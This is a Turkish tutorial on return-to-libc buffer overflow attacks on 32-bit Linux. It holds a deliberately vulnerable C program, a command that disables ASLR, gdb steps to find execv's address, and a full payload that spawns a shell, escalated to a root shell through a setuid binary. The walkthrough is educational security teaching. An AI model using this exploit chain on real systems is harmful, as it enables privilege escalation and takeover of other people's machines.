Linux Yazılım Güvenliği

Dönüş Değeri Değiştirme

Bu yöntemde dışarıdan bir kod enjekte etmeksizin, yalnızca fonksiyonun geri dönüş değeri değiştirilerek, akışın proses adres alanındaki istenilen bir fonksiyona yönlendirilmesi hedeflenmektedir. Yönlendirme çoğunlukla standart C kütüphane fonksiyonlarına yapıldığından bu yöntem return-to-libc attack olarak da isimlendirilmektedir. Bu yöntemde yığının çalıştırılabilir olup olmadığının bir önemi yoktur.

Bir örnek üzerinden bu durumu inceleyelim.

#include <stdio.h>
#include <string.h>

#define SIZE 8

void foo(char *str) {
    puts(__func__);
    char buf[SIZE];
    strcpy(buf, str);
}

int main(int argc, char **argv) {
    if (argc < 2) {
        puts("kullanım: ./smash <komut satırı argümanları>");
        return -1;
    }
    foo(argv[1]);
    return 0;
}

Örnek kodu smash.c adıyla saklayarak aşağıdaki gibi derleyebilirsiniz.

gcc -osmash smash.c --save-temps -m32 -fno-stack-protector

foo için derleyicinin ürettiği sembolik makina kodu aşağıdaki gibidir.

foo:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $40, %esp
        movl    $__func__.1993, (%esp)
        call    puts
        movl    8(%ebp), %eax
        movl    %eax, 4(%esp)
        leal    -16(%ebp), %eax
        movl    %eax, (%esp)
        call    strcpy
        leave
        ret

foo için sembolik makina kodlarına baktığımızda, yığın çerçeve göstericisinden (ebp) itibaren 16 byte uzaklıktaki alanın tampon başlangıç adresi olarak belirlendiğini görmekteyiz. Tamponun adresi son argüman olarak yığına geçirilmiş ve ardından strcpy fonksiyona çağırılmış.

        leal    -16(%ebp), %eax
        movl    %eax, (%esp)
        call    strcpy

foo için yığın çerçevesi aşağıdaki gibi gösterilebilir.

Bu örnek kod üzerinden kabuk programını (/bin/sh) çalıştırmaya çalışalım. Yeni bir program başlatabilmek için standart kütüphanedeki execv fonksiyonunu kullanabiliriz. execv fonksiyonunun gerçek adresi çalışma zamanında belirlenmektedir. gdb aracını kullanarak bu adrese aşağıdaki gibi ulaşabiliriz.

gdb -q -batch smash -ex "break foo" -ex "run" -ex "print execv" | grep execv

execv adresini foo fonksiyonunun geri dönüş adresinin tutulduğu alana yazdığımızda akış foo fonksiyonundan sonra execv fonksiyonuna dallanacaktır.

execv fonksiyonu, çalıştırılacak uygulamaya ait yol ifadesi ve argüman vektörü olmak üzere iki adet parametreye sahiptir.

    int execv(const char *path, char *const argv[]);

foo fonksiyonu için ret makina komutu işletildiğinde, geri dönüş adresi yığından çekilecek ve bu adresteki execv fonksiyonu çalışmaya başlayacaktır. execv çalışmaya başladığında, esp yazmacı geri dönüş adresinin tutulduğu alanın bitimini göstermektedir. Bir fonksiyon çağrıldığında yığın göstericisinin (esp) gösterdiği alanın geri dönüş adresi olarak kullanıldığını hatırlayınız. Devam eden 4 byte uzunluğundaki ardışıl alanlar ise execv fonksiyonuna argümanları geçirmek için kullanılacaktır. Bu durumda yığın aşağıdaki gibi organize edilmelidir.

Uygulamamızın komut satırından aldığı yazıyı tampona yazdığını hatırlayınız. Tamponun başlangıç adresinden itibaren 20 byte uzaklıktaki alana sırasıyla execv adresini, execv geri dönüş adresini ve geçirilecek olan argümanları yerleştirmeliyiz. Bu durumda uygulamamıza aşağıdaki formda bir komut satırı argümanı geçirmeliyiz.

"[20 byte uzunluğunda karakter dizisi][execv adresi][execv geri dönüş adresi][path][argv]"

Tamponun ilk 20 byte'lık alanına ve execv geri dönüş adresine istediğimiz gibi değer verebiliriz. execv fonksiyonunun dönmesini beklemiyoruz.

execv fonksiyonuna çalıştıracağımız uygulamanın yol ifadesinin adresini geçirmeliyiz. Bir önceki şekilde bu adres alanını path ismiyle gösterdik. Çalıştırılacak olan uygulamaya ait yol ifadesini ikinci bir komut satırı argümanı olarak uygulamaya geçirebiliriz.

Not Diğer alternatifler SHELL çevre değişkeninin veya kendi tanımlayacağımız bir çevre değişkeninin adresine ulaşmak olabilirdi.

Bu durumda kabuk uygulaması için uygulamaya geçireceğimiz komut satırı argümanları aşağıdaki formda olacaktır.

"[20 byte uzunluğunda karakter dizisi][execv adresi][execv geri dönüş adresi][path][argv]"  "/bin/sh"

Bu aşamada ikinci komut satırı argümanının ("/bin/sh") adresini bulmalı ve path ile gösterdiğimiz alana yazmalıyız. Bir uygulama çalıştırıldığında komut satırı argümanları işletim sistemi tarafından yığına yerleştirilmektedir. İşletim sistemi tarafından, güvelik amacıyla, yığın alanı farklı adreslerden başlatılabilmektedir. Bu durumda komut satırı argümanlarının adreslerini önceden kestirmemiz mümkün olmayağından bu özelliği test amaçlı olarak kapatacağız. Yığın için rastgele adres kullanımını root olarak aşağıdaki gibi kapatabilirsiniz.

echo 0 > /proc/sys/kernel/randomize_va_space

Ayrıca uygulamanın komut satırı argümanlarının boyutu yerleştirilecekleri adresleri bir miktar değiştirebilmektedir. Bu durumda, atak yapacağımız uygulamayla aynı uzunlukta komut satırı argümanları geçireceğimiz bir test uygulamasıyla argümanların adreslerini bulabiliriz. Kabuk yol ifadesini 2. komut satırı argümanı olarak geçirmekteyiz. Aşağıdaki program ile 2. komut satırı argümanının adresini ve bu adresin tutulduğu alanın adresini bulabiliriz. Bu ikinci değeri execv fonksiyonuna argüman vektörü (argv) olarak geçireceğiz.

#include <stdio.h>

int main(int argc, char *argv[]) {
    printf("path : %p\n", argv[2]);
    printf("argv : %p\n", &argv[2]);
    return 0;
}

Uygulamayı arggg.c adıyla saklayarak aşağıdaki gibi derleyebilirsiniz.

gcc -m32 -oarggg arggg.c

Bu aşamada atak yapacağımız programa geçireceğimiz argümanlara tekrar bakalım.

"12345678901234567890[execv adresi]0000[path][argv]"  "//////bin/sh"

Tampona yazılacak ilk 20 karakter ve execv fonksiyonunun geri dönüş adresi için rastgele değerler kullanabiliriz. Bu noktada ikinci argüman olarak "/bin/sh" yerine "//////bin/sh" kullanıldığına dikkat ediniz. Fazladan koyduğumuz '/' karakterleri sayesinde ikinci argümanın adresini tam belirleyemediğimiz bazı durumlarda da execv yine çalışacaktır.

Not: Örneğin execv("/bin/sh), "execv("///bin/sh")" ve execv("//////bin/sh") çağrıları aynı sonucu üretecektir.

execv fonksiyonuna geçirilecek argümanları bulmak için arggg uygulamasını aşağıdaki gibi çalıştırabilirsiniz.

./arggg $(perl -e 'print "A"x36') $(perl -e 'print "A"x12')

Atak yapacağımız smash uygulamasına geçireceğimiz ilk argüman 36, ikinci argüman ise 12 karakterden oluşmakta. Ayrıca uygulamanın isminin atak yapacağımız uygulama (smash) ile aynı uzunlukta olduğuna dikkat ediniz. arggg uygulaması execv fonksiyonuna geçireceğimiz path ve argv değerlerini üretecektir. execv adresinin gdb kullanarak elde edilebileceğinden daha önce bahsetmiştik. Kendi sisteminiz için bu değerleri aşağıdaki gibi bulabilirsiniz.

gdb -q -batch smash -ex "break foo" -ex "run" -ex "print execv" | grep execv
$1 = {<text variable, no debug info>} 0xf7ebd5b0 <execv>
./arggg $(perl -e 'print "A"x36') $(perl -e 'print "A"x12')
path : 0xffffd2b0
argv : 0xffffd0ac

execv adresini, path ve argv değerlerini yerine koyduğumuzda smash uygulamasına geçireceğimiz argümanlar aşağıdaki gibi olacaktır.

"12345678901234567890\xb0\xd5\xeb\xf70000\xb0\xd2\xff\xff\xac\xd0\xff\xff"  "//////bin/sh"

Not ecexv adresinde değeri 0 olan byte varsa, daha önce de bahsettiğimiz gibi, bellek alanına yazma işlemi yapan strcpy gibi fonksiyonlar bu değeri gördüklerinde yazma işlemini sonlandıracaklardır. Bu durumda execv yerine execvp ve system fonksiyonları denenebilir.

smash uygulamasını aşağıdaki gibi çalıştırdığımızda kabuk programının çalıştığını görmeliyiz.

./smash $(printf "12345678901234567890\xb0\xd5\xeb\xf70000\xb0\xd2\xff\xff\xac\xd0\xff\xff") "//////bin/sh"
foo
$ echo $0
//////bin/sh

echo $0 ile kabuğa geçirilen ilk argümanın değerini elde etmekteyiz.

Bazı durumlarda kabuk programı root haklarıyla da çalıştırılabilmektedir.

passwd, ping gibi sahibi root olan ve setuid biti set edilmiş uygulamaların tampon saldırılarına açık olmaları durumunda, bu uygulamalar üzerinden kabuk programı root haklarıyla çalıştırılabilir.

Kendi yazdığımız smash programının bu özelliklere sahip olduğunu farz ederek yeniden test edelim. Bunun için uygulamımızın sahibini root olarak değiştirelim ve ardından setuid bitini 1 olarak set edelim. Bu işlemleri yapabilmek için zaten root olmamız gerektiğine dikkat ediniz.

sudo chown root smash
sudo chmod 4755 smash

Bu durumda smash programının erişim hakları aşağıdaki gibi olmalıdır.

ls -l smash
-rwsr-xr-x 1 root serkan 7380 Ara 29 20:37 smash

smash uygulamasını aşağıdaki gibi yeniden çalıştıralım.

./smash $(printf "12345678901234567890\xb0\xd5\xeb\xf70000\xb0\xd2\xff\xff\xac\xd0\xff\xff") "//////bin/sh"
foo
# id
uid=1000(serkan) gid=1000(serkan) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(serkan)

Kabuk prosesisin etkin kullanıcı kimliğinin (effective user id) root kullanıcısına ait olan 0 değerini taşıdığını görmekteyiz.

Not: Uygulamanın önce sahibi root olarak değiştirilmeli, sonrasında setuid biti set edilmelidir. Tersi durumda, güvenlik nedeniyle, bir dosyanın sahibi root olarak atandığında setuid biti sıfırlanmaktadır. Bu durumu aşağıdaki gibi test edebilirsiniz.

$ ls -l smash
-rwxrwxr-x 1 serkan serkan 7380 Ara 30 17:47 smash

sudo chmod 4755 smash
$ ls -l smash
-rwsr-xr-x 1 serkan serkan 7380 Ara 30 17:47 smash

sudo chown root smash
$ ls -l smash
-rwxr-xr-x 1 root serkan 7380 Ara 30 17:47 smash